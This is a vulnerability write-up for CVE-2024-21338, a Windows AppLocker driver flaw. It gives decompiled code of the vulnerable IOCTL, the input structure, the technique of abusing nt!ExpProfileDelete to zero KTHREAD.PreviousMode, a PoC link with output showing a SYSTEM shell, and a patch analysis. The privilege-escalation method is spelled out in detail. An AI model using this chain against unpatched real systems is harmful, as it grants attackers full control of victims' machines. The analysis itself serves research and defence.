CVE-2024-21338 - Windows AppLocker Kernel Elevation of Privilege Vulnerability

Page content

CVE-2024-21338 is a privilege escalation vulnerability in the Windows AppLocker driver (appid.sys). The flaw resides in the AipSmartHashImageFile function, reachable via IOCTL 0x22A018, which allows user-mode input to control code execution. Specifically, the function dereferences two user-provided pointers from a shared SystemBuffer without verifying their validity or origin. One of these pointers is treated as a function pointer and is called directly from kernel mode.

CVE-2024-21338: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338
Vulnerability Type: Untrusted Pointer Dereference
Tested On: Windows 11 23H2
Driver Version: appid.sys - 10.0.22621.3155

Requirements

To send the IOCTL request, the IOCTL code was examined and found to have the access flag set to FILE_WRITE_ACCESS. This means the I/O manager will dispatch the IRP only if the caller has write access rights.

IMG

The device’s security descriptor was checked to determine which users have permission to open a handle. It was observed that only the AppIDSvc and LOCAL SERVICE accounts have full access and Administrator does not. As a result, a cmd.exe session must be run under one of these two accounts to interact with and exploit the device.

IMG

One of the simplest methods to achieve this is by using PsExec.exe to spawn a shell as the LOCAL SERVICE user.

IMG

Vulnerability analysis

The IOCTL request sent to 0x22A018 takes user-supplied input and passes it to the AipSmartHashImageFile() function.

__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{


[::]

      case 0x22A018u:
        if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
          WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, 27LL, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids);
        if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 32 )
        {
          ConfigOptions = AipSmartHashImageFile((__int64)_IRP->AssociatedIrp.SystemBuffer, 0LL, 0LL, 0LL); // Call to AipSmartHashImageFile with User input
LABEL_103:
          v9 = ConfigOptions;
          break;
        }
LABEL_25:
        v9 = -1073741811;
        break;
      default:
        v7 = WPP_GLOBAL_Control;
        if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control || (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) == 0 )
          goto LABEL_15;
        v8 = 28LL;
LABEL_14:
        WPP_SF_D(v7->AttachedDevice, v8, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids, LowPart);
LABEL_15:
        v9 = -1073741808;
        break;
    }


[::]

}

Following up, the process takes the following path and performs several checks. The main check happens in appid!AipSmartHashImageFile() whose primary functionality is passing the value at SystemBuffer + 8 to ObfReferenceObject(). This routine increments the reference count of the specified object, which implies that the value at SystemBuffer + 8 must be a valid kernel object address. Otherwise, the reference operation will fail or potentially lead to a crash.

IMG

AppHashComputeImageHashInternal() calls the function pointer stored at SystemBuffer + 16, passing the value at SystemBuffer (i.e., the first 8 bytes) as an argument.

__int64 __fastcall AppHashComputeImageHashInternal(
        __int64 SystemBuffer,
        __int64 (__fastcall **SystemBuffer_16)(__int64, __int128 *),
        unsigned int a3,
        __int64 a4)
{

[::]

  __int64 v43; // [rsp+A8h] [rbp+Fh]

  v39 = SystemBuffer_16;
  *(_QWORD *)v32 = a4;
  v40 = SystemBuffer;
  v29 = 0;
  v37 = 0LL;
  v38 = 0LL;
  v5 = 0;
  v43 = 0LL;
  v6 = 0;
  v30 = 0;
  v33 = 0;
  v34 = 0;
  LODWORD(v35) = 0;
  *(_QWORD *)v41 = 0LL;
  v42 = 0LL;
  if ( !a3 )
    return 0;
  v7 = (*SystemBuffer_16)(SystemBuffer, &v42); // Vulnerable function call


[::]

This is a sample structure of how the input should be defined:

typedef struct SMART_HASH_INPUT {
    DWORD64 Arguments_Ptr;
    PVOID Object_Ptr;
    PVOID ExpProfileDelete_Ptr;
    DWORD64 PADDING;
} _SMART_HASH_INPUT, *PSMART_HASH_INPUT;
  • Object_Ptr must be a valid object pointer that satisfies the expectations of AipSmartHashImageFile().
  • ExpProfileDelete_Ptr is the API that will be invoked. This call is routed through guard_dispatch_icall_fpt, which enforces Kernel Control Flow Guard (KCFG). The nt!ExpProfileDelete() function ultimately calls the ObfDereferenceObjectWithTag kernel macro.
  • This macro decrements the reference count field of the object passed to it (located at offset -0x30). This behavior makes it ideal for modifying the PreviousMode of a thread—from a user-mode value of 1 to a kernel-mode value of 0.
  • To achieve this, we need to pass the address of nt!ExpProfileDelete() to ExpProfileDelete_Ptr, and Arguments_Ptr must point to the KTHREAD.PreviousMode field of the current thread.

Exploit

Tested on: Windows 11 22H2 (01-2024 Build) Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-21338/POC

PS C:\Users\h4x\Desktop> .\CVE-2024-21338.exe -p 2116
[+] Trying to find Thread ID for the given process PID: 2116
[+] First Thread ID of the process: 2120
[+] NT base address fffff80012400000
[+] Found EPROCESS of the current process FFFFAD85DAFBE080
[+] Found KTHREAD of the current thread FFFFAD85D9335080
[+] Found EPROCESS of the system.exe FFFFAD85D64E8040
[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process
[+] Opening handle to Applocker device
[+] Dummy FILE_OBJECT address: FFFFAD85DBA171D0
[+] Calling AipSmartHashImageFile ....success
[+] Stealing system's Token..
[+] Replacing KTHREAD.PreviousMode as UserMode..
[+] Spawning shell as SYSTEM...
Microsoft Windows [Version 10.0.22621.1]
(c) Microsoft Corporation. All rights reserved.

C:\Users\h4x\Desktop>whoami
nt authority\system

Patch analysis

The patched version adds checks to ensure the input does not originate from user mode and restricts access.

__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{


[::]

case 0x22A018:
        if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
          WPP_SF_(
            (__int64)WPP_GLOBAL_Control->AttachedDevice,
            0x1Bu,
            (__int64)&WPP_9fed954e24023a5a6dae708fb6376e6f_Traceguids);
        if ( (unsigned int)Feature_2959575357__private_IsEnabled() && ExGetPreviousMode() )  // Fix
          goto LABEL_20;
        if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 32 )
        {
          ConfigOptions = AipSmartHashImageFile((__int64)IRP->AssociatedIrp.MasterIrp, 0LL, 0LL, 0LL);
LABEL_105:
          v8 = ConfigOptions;
          break;
        }
LABEL_27:
        v8 = -1073741811;
        break;


[::]
}

Acknowledgements

  • It was explained by Nero0oo0 and can be found here.
  • The PoC was developed by Nero0oo0, and the above PoC is based on it.